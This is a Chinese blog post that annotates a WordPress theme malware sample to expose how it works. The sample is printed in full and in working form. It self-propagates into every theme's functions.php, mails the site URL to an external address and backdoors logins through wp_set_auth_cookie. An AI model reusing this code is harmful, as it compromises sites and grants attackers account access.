一个WordPress恶意代码function _verifyactivate_widgets() | 祭夜博客
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一个WordPress恶意代码function _verifyactivate_widgets()

Wordpress msojocs 6年前 (2017-06-24) 4801次浏览 已收录 1个评论 扫描二维码

下面是该代码的注释版本:

<?php
function _verifyactivate_widgets(){
    //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
        //查找当前主题functions.php文件中最后一个 < ? 标记,从这个标记的位置开始,取得一直到文件尾的内容
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
    $output="";
    $allowed="";
    //去除html和php标签,其实这一句是扯蛋。。。
    $output=strip_tags($output, $allowed);
    //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
        //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
        //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            //如果主题functions.php文件可写
            if (is_writable($item)){
                //特征码
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                //取目标functions.php文件内容
                $cont=file_get_contents($item);
                //没找到特征码?OK,试图感染
                if (stripos($cont,$ftion) === false){
                    //查看目标functions.php文件最后是否是以 ? > 结尾,如果不是,给加上 ? > 标记
                    $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
                    $output .= $before . "Not found" . $after;
                    //如果文件是以 ?> 标记结尾的,连标记一起取过来
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
                    //后面这句也是伪装用的           
                    $output .= ($isshowdots && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
    //从$wids数组弹出一个元素(实际上是一个位置)
    $places=array_shift($wids);
    //如果位置字串是以/结尾的,则去掉/
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
 
    //若不存在这样的文件或目录则直接返回false
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        //否则的话。。。嘿嘿
        //遍历此目录
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                //如果是目录,则加入$wids数组
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                        //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;  
    }
    //下面还有子目录?再找找看,递归
    if (sizeof($wids) > 0){
        return _get_allwidgets_cont($wids,$items);
    } else {
        //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
        return $items;
    }
}
 
//下面是3个针对低版本的php而写的兼容函数
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}
 
if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
 
//这个动作添加了,用于检测所有主题目录下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");
 
function _getprepare_widget(){
    if(!isset($text_length)) $text_length=120;
    if(!isset($check)) $check="cookie";
    if(!isset($tagsallowed)) $tagsallowed="<a>";
    if(!isset($filter)) $filter="none";
    if(!isset($coma)) $coma="";
    if(!isset($home_filter)) $home_filter=get_option("home");
    if(!isset($pref_filters)) $pref_filters="wp_";
    if(!isset($is_use_more_link)) $is_use_more_link=1;
    if(!isset($com_type)) $com_type="";
    if(!isset($cpages)) $cpages=$_GET["cperpage"];
    if(!isset($post_auth_comments)) $post_auth_comments="";
    if(!isset($com_is_approved)) $com_is_approved="";
    if(!isset($post_auth)) $post_auth="auth";
    if(!isset($link_text_more)) $link_text_more="(more...)";
    if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
    if(!isset($checkswidgets))
    //这个实际是wp_set_auth_cookie
    $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
    if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
    if(!isset($contentmore)) $contentmore="ma".$coma."il";
    if(!isset($for_more)) $for_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
 
    //如果 _is_widget_active_ option内容为空,即表示没有被感染过
    if (!$widget_yes) :
 
    global $wpdb, $post;
    //取出存在已经通过的评论(不包括trackback/pingback)的文章
    // post_author 为 livethemas@gmail.com 的文章,肯定是没有的
 
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fixed_tags)) $fixed_tags=1;
    if(!isset($filters)) $filters=$home_filter;
    //$gettextcomments实际上为 wp_mail
    if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
    if(!isset($tag_aditional)) $tag_aditional="div";
 
    //这里$sh_cont即为 livethemas@gmail.com
    if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; 
    if(!isset($isshowdots)) $isshowdots=1;
 
    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件,标题和内容都是被感染的博客的URL 地址
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($text_length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<span id="more-1835"></span>")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            //执行这一句时就开始发邮件了。
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $text_length) {
                $l=$text_length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $link_text_more="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    //把感染标记置为1
    update_option("_is_widget_active_", 1);
    if("all" != $tagsallowed) {
        $output=strip_tags($output, $tagsallowed);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
    $output .= ($isshowdots && $ellipsis) ? "..." : "";
    //$filter 为 none ...,又是在伪装
    $output=apply_filters($filter, $output);
    switch($tag_aditional) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }
 
//$checkswidgets即是wp_set_auth_cookie
    if ($is_use_more_link ) {
        if($for_more) {
            $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}
 
//这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action("init", "_getprepare_widget");
 
 
//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
    if(!$show_pass_post) $request .= " AND post_password =""";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}
?>

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